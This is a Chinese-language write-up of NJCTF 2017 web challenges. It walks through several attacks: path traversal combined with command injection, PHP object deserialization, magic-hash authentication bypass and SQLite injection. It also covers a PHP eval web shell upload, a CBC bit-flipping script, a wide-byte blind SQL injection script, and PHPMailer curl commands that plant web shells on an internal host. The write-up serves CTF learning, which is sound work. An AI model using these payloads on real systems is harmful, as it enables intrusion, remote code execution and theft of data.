一个登陆和注册的功能,开始以为是注入,发现并不行。
后来尝试了下弱口令
1 2 |
username:admin password:admin123 |
结果登录成功了。。
其实正解是注册时注册用户为
admin后跟很多很多空格之后加个a
就是注册时拼接到数据库时有长度限制
一开始测试不成功是因为空格太少了,尴尬
Get Flag
看起来是一个搜索图片的框
输入1.jpg后在返回页面查看源码,发现被base64加密过
那么我直接读../../../../../../etc/passwd试试
解base64发现确实可以读到
猜测可能直接执行了cat命令,那么构造
1 |
../../../../../../etc/passwd & ls ./ |
可以列出目录
最后找到flag在../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
然后直接读就好了
Text wall
存在.index.php.swo
给出了部分源码
1 2 3 4 5 6 7 8 9 10 |
<?php $lists = []; Class filelist{ public function __toString() { return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true); } } ........ ?> |
submit后发现cookie中存在序列化的东西
应该是一个反序列化的漏洞
结果找到了原题
构造脚本
(注意前面是40位随机值,所以将md5改为sha1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<? Class filelist{ public function __toString() { return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true); } } $foo = new filelist(); $foo->source = ‘index.php‘; $bar = []; $bar[] = $foo; //这里是一个数组,tostring时其实可以返回数组内的所有文件 $m = serialize($bar); $h = sha1($m); echo $h.$m; //这里注意不需要urlencode ?> |
得到
1 |
f3a6de2497f71356a3995e26a1f4f64ae48e80b1a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:9:"index.php";}} |
然后修改cookie刷新页面后
最终payload为
1 |
579574889b2cc082443598ee85d9a4839698a948a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:46:"/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}} |
Wallet
进入admin.php发现cookie中有auth和hsh
默认是auth=0,hsh=b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
hsh拿cmd5解密后是0的sha1值
于是尝试auth=1,hsh=356a192b7913b04c54574d18c28d46e6395428ab (这是1sha1值)
发现并没有什么作用,还是
后来提示压缩包密码为弱口令
存在www.zip
里面是admin.php
试出来密码是njctf2017
admin.php直接查看有很多乱码,应该是被加密过
有个php在线解密网站
在线phpjm解密 下再美化下。。
获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
<?php require_once "db.php"; $auth = 0; if (isset($_COOKIE["auth"])) { $auth = $_COOKIE["auth"]; $hsh = $_COOKIE["hsh"]; if ($auth == $hsh) { $auth = 0; } else { if (sha1((string) $hsh) == md5((string) $auth)) { $auth = 1; } else { $auth = 0; } } } else { $auth = 0; $s = $auth; setcookie("auth", $s); setcookie("hsh", sha1((string) $s)); } if ($auth) { if (isset($_GET[‘query‘])) { $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY); $qstr = SQLITE3::escapeString($_GET[‘query‘]); $query = "SELECT amount FROM my_wallets WHERE id={$qstr}"; $result = $db->querySingle($query); if (!$result === NULL) { echo "Error - invalid query"; } else { echo "Wallet contains: {$result}"; } } else { echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name=‘input‘ action=‘admin.php‘ method=‘get‘>Wallet ID: <input type=‘text‘ name=‘query‘><input type=‘submit‘ value=‘Submit Query‘></form></body></html>"; } } else { echo "Sorry, not authorized."; } |
要想auth=1,关键点是使
1 |
sha1((string) $hsh) == md5((string) $auth) |
搜到一篇文章:魔术哈希
问题出在==符号
当哈希值以0e开头是,并且后面都是数字时,会被认为是0(科学计数法)
0==0时当然成立
1 2 |
md5(240610708) = 0e462097431906509019562988736854 sha1(10932435112) = 0e07766915004133176347055865026311692244 |
那么去构造cookie:auth=240610708,hsh=10932435112
成功进去了
然后就是sqlite注入了
随便找了篇sqlite的文章
关键是找到sqlite_master里的东西就行了
payload为
1 |
http://218.2.197.235:23723/admin.php?query=-1 union select id from flag |
Blog
ruby web 虽然有源码
贴上学长的思路
有一个admin参数
但在黑盒审计的时候是没有的
接着看表定义
那么这个逻辑就是如果没有这个值就不是管理员啰
注册的时候带 user[admin]=1 参数
用这个参数登陆
应该遍历完所有用户就可以找到上面图里的flag了
Pictures’ wall
一开始直接admin admin登录进去吓一跳
后来在upload界面看到
又去试root root 又进去了,惊了!
后来才知道这题没验证密码。。
进入upload后但是还是返回上图结果
改了半天http头的各种参数还是没什么用
后来登录的时候把host改为127.0.0.1就行了
再进入index.php?act=user可以看到
然后上传呗
返回各种
发现文件后缀名为.phtml时会有其他回显
并且上传一般字符可以上传成功并且会产生一个phtml文件
然后文件内容存在<?php?>之类的会有
或者
尝试使用
1 |
<script language="php"> |
并没有被过滤,于是构造
1 |
<script language="php"> @eval($_POST[c014])</script> |
成功getshell
payload
1 |
c014=system(‘cat ../../AOvU7WJDRTxn1tv2g56SJLpJK1l7EmBi_thi5_flag‘); |
Be admin
存在index.php.bak
cbc反转加密
还需要配合sql注入
贴上队友的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
#! /usr/bin/env python # -*- coding: utf-8 -*- import base64 import requests import urllib aa = ‘)\xa5\xa1\xec>)F\x119\xbc\xfcor\x11\xd9\xa4‘ url = "http://218.2.197.235:23737/" cookie = {"PHPSESSID":"qe6s9hjkpqrfcv07hf1ous71m7"} iv = ["\x00"]*16 cipher = [‘\x00‘, 236, 46, 92, 100, 49, 71, 211, 255, 106, 69, 3, 16, 13, 233, 54] plain = "admin" plain += 11*chr(11) plain = list(plain) # for i in xrange(16,17): # for j in xrange(1,i): # iv[16-i+j] = chr(cipher[16-i+j] ^ i) # for x in xrange(218,256): # iv[16-i] = chr(x) # tmp_iv = "".join(iv) # cookie[‘token‘] = urllib.quote(base64.b64encode(tmp_iv)) # print cookie # try: # r = requests.get(url, cookies=cookie) # print "%s"%x, r.content # except: # print cipher # print x # exit(); # if "ctfer!" in r.content: # break # else: # print cipher # exit(); # cipher[16-i] = x ^ i # break # print cipher # for x in cipher: # print hex(x) plain = [‘a‘, ‘\x88‘, ‘C‘, ‘5‘, ‘\n‘, ‘:‘, ‘L‘, ‘\xd8‘, ‘\xf4‘, ‘a‘, ‘N‘, ‘\x08‘, ‘\x1b‘, ‘\x06‘, ‘\xe2‘, ‘=‘] for x in xrange(193,256): plain[0] = chr(x) tmp_p = "".join(plain) cookie[‘token‘] = urllib.quote(base64.b64encode(tmp_p)) r = requests.get(url, cookies=cookie) print x print r.content |
不过经常跑到最后几位就跑不出来。。很是蛋疼
Come on
是一道宽字节注入题
注入时注意把#换成%23
通过测试发现很多都被过滤了
我发现可用有 || 和 strcmp函数等
strcmp(str1,str2):对比两个字符串str1和str2,如果两字符串相等,返回0;如果当前的排序规则,str1小于str2,则返回-1,反之则都返回1.
而且不能用单双引号,那么就用16进制表示
后来又坑了半天,原来是空格被过滤了
直接贴上读flag的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
# -*- coding:utf-8 -*- import requests import binascii def get_flag(): flag = "" for i in range(0,100): print i url = "http://218.2.197.235:23733/index.php?key=1%df%27 || length((select(flag)from(flag)))="+str(i)+" %23" # length((select table_name from information_schema.tables where table_schema = database())) r = s.get( url = url ) if "002265" in r.content: length = i print "flag length:"+str(i) break for i in range(1,length+1): print i for j in range(33,127): url = "http://218.2.197.235:23733/index.php?key=1%df%27 || strcmp(left((select(flag)from(flag)),"+str(i)+"),"+"binary(0x"+flag+binascii.b2a_hex(chr(j))+"))=0 %23" r = s.get( url = url ) if "002265" in r.content: print "Ok!" flag = flag + binascii.b2a_hex(chr(j)) print flag print binascii.a2b_hex(flag) break print binascii.a2b_hex(flag) if __name__ == ‘__main__‘: get_table() |
有个binary,不加的话大小写会混乱。
binary不是函数,是类型转换运算符,它用来强制它后面的字符串为一个二进制字符串,可以理解为在字符串比较的时候区分大小写
如下图
Chall I & II
有原题
题目有改动
在nodejs中,如果字符串中全是数字,字符串就会变成数字
具体做法见http://lorexxar.cn/2017/03/13/njctf2017-wp/
Guess
一个上传页面,上传后会跳到?page=upload
试了下可以用php伪协议读取源码,如图
可以读index.php 和upload.php
关键代码是这几段
跟以前hctf的一道题:兵者多诡很像,不过是不知道文件名,需要来爆破
准备一个zip压缩包,改为png后缀,上传成功
查看代码,注意这里
session_id()其实是可控的,上传时设置PHPSESSID=;
根据返回的SESSI0N=6745534f42a1df76ae3e07e578fe5d85;
用php_mt_seed工具爆破出种子
然后就可以得到文件名了
32位随机值脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<?php mt_srand(712974944); echo mt_rand()."\n"; function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ‘‘; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } echo random_str()."\n"; ?> |
然后就是hctf的做法了
这题之前有个疑问是构造文件名为../../之类的上传可以上传成功,但是并找不到文件
Be logical
登录进去后发现有一个钱和积分相互买的功能而且是1:1
用钱换回积分时有个url如
1 |
http://218.2.197.235:23739/refundprocess.php?comment=&id=4557&username=c014cccc&points=123&money=123 |
直接修改points=1234这类情况时会返回
但是修改points=123e10发现可以成功
然后去买service,进入后是
是ImageMagick(CVE-2016-3714)漏洞,和利用poc
然后上传后getshell
但是并没有发现flag
ifconfig发现存在内网
于是进行内网渗透
存在172.17.0.19
是一个发邮件的页面,想到才爆出不久的PHPMailer漏洞,和利用poc
而且有一个/uploads/目录
构造
1 |
curl -X POST --data "subject=<?php eval($_GET[c014]);?>&email=aaa( -X/var/www/html/uploads/c014.php -OQueueDirectory=/tmp )@qq.com&message=<?php system(‘ls ..‘);?>&submit=Send email" http://172.17.0.19/index.php |
然后curl http://172.17.0.19/uploads/c014.php
得到文件名
1 |
curl -X POST --data "subject=<?php eval($_GET[c014]);?>&email=aaa( -X/var/www/html/uploads/c014c.php -OQueueDirectory=/tmp )@qq.com&message=<?php system(‘cat ../flaaaaaaag.php‘);?>&submit=Send email" http://172.17.0.19 |
curl http://172.17.0.19/uploads/c014c.php即可获取flag